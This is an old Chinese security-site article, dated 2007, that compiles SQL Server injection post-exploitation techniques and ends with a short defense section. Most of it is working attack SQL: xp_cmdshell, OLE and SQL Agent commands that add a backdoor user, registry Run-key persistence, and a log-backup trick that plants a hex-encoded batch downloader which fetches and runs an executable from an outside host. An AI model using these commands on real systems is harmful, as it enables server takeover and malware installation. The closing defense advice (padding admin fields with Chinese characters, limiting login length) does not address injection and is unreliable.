![]() |
|
||||||||||||||
| | 网站首页 | 文章中心 | 下载中心 | 公司简介 | 报价中心 | 成功案例 | 工作机会 | 天盾论坛 | | ||
|
||
|
|||||
| SQL Server注入大全及防御 | |||||
作者:hww 文章来源:本站原创 点击数: 更新时间:2007-9-15 ![]() |
|||||
|
一、执行系统命令 利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下: exec master..xp_cmdshell 'net user ray ray /add' xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。 利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。 DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell out EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add' 开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',0 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")'); 除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。 exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' use msdb exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\' exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x' 二、写任意文件执行命令 利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add' 备份日志到启动项 我们可以开启一个数据库的完全恢复模式,然后新建个表,插入要备份进日志的命令,最后把日志备份成批处理文件到用户启动文件夹,机器重新启动后就会运行这个文件。 alter database msdb set RECOVERY FULL-- create table cmd (a image)-- backup log msdb to disk = 'c:\cmd1' with init-- insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)-- backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'-- drop table cmd-- 三、任意权限用户执行命令 在任意权限的服务器角色下,我们只要知道服务器的SYSADMIN角色的帐户和密码就能利用OPENROWSET宏执行命令 select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''') 四、其他获取系统信息 历遍目录 exec master.dbo.xp_dirtree 'c:\' 获取子目录 exec master.dbo.xp_subdirs 'c:\' 列举可用的系统分区 exec master.dbo.xp_availablemedia 判断目录或文件是否存在 exec master..xp_fileexist 'c:\boot.ini' 五、防御SQL注入有妙法 1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。 2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。 3.把真正的管理员密码放在ID2后的任何一个位置。 我们通过上面的三步完成了对数据库的修改。 这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。 |
|||||
| 文章录入:hww 责任编辑:hww | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 给IE加个参数 永远不怕IE主页 Access数据库4种安全方式 迁移Access数据库合并到SQL 恢复整个SQL数据库还是只恢复 升级到SQL Server 2005:12个 如何有效地利用oracle的数据 数据库加密技术综述 如何强行破解加密的WinRAR文 关于Access数据库安全 MySQL在网络安全方面采取的主 |
| 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
| | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 | 管理登录 | | |||
|